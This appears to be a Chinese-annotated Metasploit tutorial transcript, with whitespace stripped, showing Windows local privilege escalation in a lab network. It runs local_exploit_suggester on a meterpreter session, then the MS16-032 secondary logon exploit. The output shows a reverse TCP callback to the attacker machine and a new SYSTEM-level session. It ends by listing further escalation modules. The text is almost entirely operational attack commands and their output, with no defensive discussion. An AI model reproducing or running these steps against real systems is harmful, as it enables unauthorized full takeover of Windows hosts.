meterpreter>getuid//查看权限Serverusername:HACK\testusermeterpreter>background//当前激活的shell切换到后台[*]Backgroundingsession1...msf5exploit(multi/handler)>searchsuggester//查找辅助提权模块MatchingModules================# Name Disclosure Date Rank Check Description----------------------------------------0post/multi/recon/local_exploit_suggesternormalNoMultiReconLocalExploitSuggestermsf5exploit(multi/handler)>use0msf5post(multi/recon/local_exploit_suggester)>sessions//查看会话Activesessions===============IdNameTypeInformationConnection-------------------------------1meterpreterx86/windowsHACK\testuser@WIN-1EVLV0JUJD6192.168.43.6:8866->192.168.43.87:49394(192.168.43.87)msf5post(multi/recon/local_exploit_suggester)>setsession1//设置会话session=>1msf5post(multi/recon/local_exploit_suggester)>exploit[*]192.168.43.87-Collectinglocalexploitsforx86/windows...[*]192.168.43.87-30exploitchecksarebeingtried...[+]192.168.43.87-exploit/windows/local/bypassuac_eventvwr:Thetargetappearstobevulnerable.[+]192.168.43.87-exploit/windows/local/ms10_092_schelevator:Thetargetappearstobevulnerable.[+]192.168.43.87-exploit/windows/local/ms13_053_schlamperei:Thetargetappearstobevulnerable.[+]192.168.43.87-exploit/windows/local/ms13_081_track_popup_menu:Thetargetappearstobevulnerable.[+]192.168.43.87-exploit/windows/local/ms14_058_track_popup_menu:Thetargetappearstobevulnerable.[+]192.168.43.87-exploit/windows/local/ms15_051_client_copy_image:Thetargetappearstobevulnerable.[+]192.168.43.87-exploit/windows/local/ms16_032_secondary_logon_handle_privesc:Theserviceisrunning,butcouldnotbevalidated.[+]192.168.43.87-exploit/windows/local/ppr_flatten_rec:Thetargetappearstobevulnerable.[*]Postmoduleexecutioncompleted//以上为查找出来的可利用的漏洞msf5post(multi/recon/local_exploit_suggester)>useexploit/windows/local/ms16_032_secondary_logon_handle_privesc//选择上面的任意一个漏洞模块进入msf5exploit(windows/local/ms16_032_secondary_logon_handle_privesc)>showoptions//查看需要设置的参数Moduleoptions(exploit/windows/local/ms16_032_secondary_logon_handle_privesc):NameCurrentSettingRequiredDescription--------------------------------------SESSIONyesThesessiontorunthismoduleon.Exploittarget:IdName------0Windowsx86msf5exploit(windows/local/ms16_032_secondary_logon_handle_privesc)>setsession1session=>1msf5exploit(windows/local/ms16_032_secondary_logon_handle_privesc)>exploit[*]StartedreverseTCPhandleron192.168.43.6:4444[+]Compressedsize:1016[!]Executing32-bitpayloadon64-bitARCH,usingSYSWOW64powershell[*]Writingpayloadfile,C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1...[*]Compressingscriptcontents...[+]Compressedsize:3596[*]Executingexploitscript...______________________[*]Sendingstage(180291bytes)to192.168.43.87|V|_|_||_|___||_|_|||_|_||_|.|___|||_|_||_|_|_|___|_____|___||___|___|___|[byb33f->@FuzzySec][?]Operatingsystemcorecount:4[>]DuplicatingCreateProcessWithLogonWhandle[?]Done,usingthreadhandle:1212[*]Sniffingoutprivilegedimpersonationtoken..[?]Threadbelongsto:svchost[+]Threadsuspended[>]Wipingcurrentimpersonationtoken[>]BuildingSYSTEMimpersonationtoken[?]Success,openSYSTEMtokenhandle:1208[+]Resumingthread..[*]SniffingoutSYSTEMshell..[>]DuplicatingSYSTEMtoken[>]Startingtokenrace[>]Startingprocessrace[!]HolyhandleleakBatman,wehaveaSYSTEMshell!!mzCdEBgemRgjV7PHoMA8c4KLG2nLKesP[+]Executedontargetmachine.[*]Meterpretersession2opened(192.168.43.6:4444->192.168.43.87:49513)at2022-06-0109:30:28+0800[+]DeletedC:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1meterpreter>getuid//再次查看权限已为systemServerusername:NTAUTHORITY\SYSTEMmeterpreter>其他提权模块:exploit/windows/local/unquoted_service_pathsetsession1Exploit-juseexploit/windows/local/service_permissionssetsessions1runuseexploit/windows/local/always_install_elevatedsetsessions1run